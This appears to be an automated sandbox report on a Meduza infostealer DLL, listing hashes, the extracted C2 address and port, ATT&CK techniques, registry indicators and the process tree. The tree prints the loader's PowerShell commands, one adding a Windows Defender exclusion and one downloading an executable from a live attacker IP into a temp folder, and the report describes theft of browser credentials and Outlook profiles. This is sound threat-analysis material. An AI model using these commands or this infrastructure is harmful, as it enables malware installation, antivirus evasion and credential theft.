meduza | aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564

General

Target

iviewers.dll
Size

6KB
MD5

e017be56699801dc89a8d6d1724eb633
SHA1

a7f7aae4744210db8ebaf4da06c167357bc71eca
SHA256

aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564
SHA512

2368425dadc7f22eb11532359d4d1aa97bf3e381f4fd7b62c587e1f8819ef64a0ff7fc75cc5948939fadebc423345ab65a1cd2799bb4136fbea89d1f75dfc8c8
SSDEEP

96:fNnyOybUJQ23GgX791qKilsZODTgFZP/8R:fNnyOybrVO9QKilhfgFZP/u

Score

10^/10

meduza collection discovery execution spyware stealer

Malware Config

Extracted

Family

meduza

C2

193.3.19.151

Attributes

anti_dbg
true
anti_vm
true
build_name
hdont
extensions
.txt
grabber_max_size
4.194304e+06
port
15666
self_destruct
false

Signatures

Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 1 IoCs

resource	yara_rule
behavioral2/files/0x0009000000023ca2-67.dat	family_meduza

Meduza family
meduza

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	3656	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3304	powershell.exe
3656	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	azufa0xk.0r0.exe

Executes dropped EXE 1 IoCs

pid	Process
5052	azufa0xk.0r0.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	azufa0xk.0r0.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	azufa0xk.0r0.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	azufa0xk.0r0.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	azufa0xk.0r0.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	azufa0xk.0r0.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	api.ipify.org
20	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3304	powershell.exe
3304	powershell.exe
3656	powershell.exe
3656	powershell.exe
5052	azufa0xk.0r0.exe
5052	azufa0xk.0r0.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3304	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	5052	azufa0xk.0r0.exe
Token: SeImpersonatePrivilege	5052	azufa0xk.0r0.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 3176	2508	regsvr32.exe	82
PID 2508 wrote to memory of 3176	2508	regsvr32.exe	82
PID 2508 wrote to memory of 3176	2508	regsvr32.exe	82
PID 3176 wrote to memory of 3304	3176	regsvr32.exe	83
PID 3176 wrote to memory of 3304	3176	regsvr32.exe	83
PID 3176 wrote to memory of 3304	3176	regsvr32.exe	83
PID 3176 wrote to memory of 3656	3176	regsvr32.exe	85
PID 3176 wrote to memory of 3656	3176	regsvr32.exe	85
PID 3176 wrote to memory of 3656	3176	regsvr32.exe	85
PID 3176 wrote to memory of 5052	3176	regsvr32.exe	91
PID 3176 wrote to memory of 5052	3176	regsvr32.exe	91

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	azufa0xk.0r0.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	azufa0xk.0r0.exe

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3304
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\azufa0xk.0r0.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3656
- - C:\Windows\Temp\azufa0xk.0r0.exe
    "C:\Windows\Temp\azufa0xk.0r0.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:5052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
b1087e12e53b604570c443c7ee182ae5

SHA1
e9132bdbc7870e15755977a18b4583589880c4d1

SHA256
572d5dc2481901313b2da4bba8650ba6e114ecfa269bea5a6abdc17dd3324897

SHA512
40260dcf4b8060204fd437e197c594da84370f9888c8e257a6e5d6c40ff8cac3b0ecd3733bc6c999f7149e1cbb77995357b13ed59a50241b2f5fa9eb3eef5ea6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qw13ofsv.hyc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\azufa0xk.0r0.exe

Filesize
1.2MB

MD5
c6813da66eba357d0deaa48c2f7032b8

SHA1
6812e46c51f823ff0b0ee17bfce0af72f857af66

SHA256
1420f60f053c3ea5605239ee431e5f487245108b1c01be75d16b5246156fa178

SHA512
19391c6b12ba8f34a5faf326f8986ef8de4729d614d72bf438c6efa569b3505159ca55f580fe2a02642e5e7a0f1b38a7a9db9f0d66d67ba548d84c230183159e

Download Submit
memory/3176-1-0x000000007437E000-0x000000007437F000-memory.dmp

Filesize
4KB

Download
memory/3176-2-0x0000000002370000-0x000000000237A000-memory.dmp

Filesize
40KB

Download
memory/3176-3-0x0000000074C20000-0x0000000074C2A000-memory.dmp

Filesize
40KB

Download
memory/3176-64-0x000000007437E000-0x000000007437F000-memory.dmp

Filesize
4KB

Download
memory/3176-63-0x0000000002310000-0x0000000002320000-memory.dmp

Filesize
64KB

Download
memory/3176-0-0x0000000002310000-0x0000000002320000-memory.dmp

Filesize
64KB

Download
memory/3304-36-0x0000000006CB0000-0x0000000006CCE000-memory.dmp

Filesize
120KB

Download
memory/3304-41-0x00000000079D0000-0x00000000079EA000-memory.dmp

Filesize
104KB

Download
memory/3304-16-0x0000000006040000-0x00000000060A6000-memory.dmp

Filesize
408KB

Download
memory/3304-21-0x00000000061E0000-0x0000000006534000-memory.dmp

Filesize
3.3MB

Download
memory/3304-23-0x00000000066F0000-0x000000000673C000-memory.dmp

Filesize
304KB

Download
memory/3304-22-0x00000000066A0000-0x00000000066BE000-memory.dmp

Filesize
120KB

Download
memory/3304-25-0x000000006F9A0000-0x000000006F9EC000-memory.dmp

Filesize
304KB

Download
memory/3304-26-0x0000000074370000-0x0000000074B20000-memory.dmp

Filesize
7.7MB

Download
memory/3304-9-0x0000000074370000-0x0000000074B20000-memory.dmp

Filesize
7.7MB

Download
memory/3304-24-0x0000000006C70000-0x0000000006CA2000-memory.dmp

Filesize
200KB

Download
memory/3304-37-0x0000000074370000-0x0000000074B20000-memory.dmp

Filesize
7.7MB

Download
memory/3304-38-0x0000000007690000-0x0000000007733000-memory.dmp

Filesize
652KB

Download
memory/3304-39-0x0000000074370000-0x0000000074B20000-memory.dmp

Filesize
7.7MB

Download
memory/3304-10-0x0000000005FD0000-0x0000000006036000-memory.dmp

Filesize
408KB

Download
memory/3304-40-0x0000000008010000-0x000000000868A000-memory.dmp

Filesize
6.5MB

Download
memory/3304-42-0x0000000007A40000-0x0000000007A4A000-memory.dmp

Filesize
40KB

Download
memory/3304-43-0x0000000007C50000-0x0000000007CE6000-memory.dmp

Filesize
600KB

Download
memory/3304-44-0x0000000007BD0000-0x0000000007BE1000-memory.dmp

Filesize
68KB

Download
memory/3304-45-0x0000000007C00000-0x0000000007C0E000-memory.dmp

Filesize
56KB

Download
memory/3304-46-0x0000000007C10000-0x0000000007C24000-memory.dmp

Filesize
80KB

Download
memory/3304-47-0x0000000007D10000-0x0000000007D2A000-memory.dmp

Filesize
104KB

Download
memory/3304-48-0x0000000007CF0000-0x0000000007CF8000-memory.dmp

Filesize
32KB

Download
memory/3304-51-0x0000000074370000-0x0000000074B20000-memory.dmp

Filesize
7.7MB

Download
memory/3304-8-0x0000000005800000-0x0000000005822000-memory.dmp

Filesize
136KB

Download
memory/3304-7-0x0000000074370000-0x0000000074B20000-memory.dmp

Filesize
7.7MB

Download
memory/3304-6-0x00000000058F0000-0x0000000005F18000-memory.dmp

Filesize
6.2MB

Download
memory/3304-5-0x0000000074370000-0x0000000074B20000-memory.dmp

Filesize
7.7MB

Download
memory/3304-4-0x0000000002D90000-0x0000000002DC6000-memory.dmp

Filesize
216KB

Download

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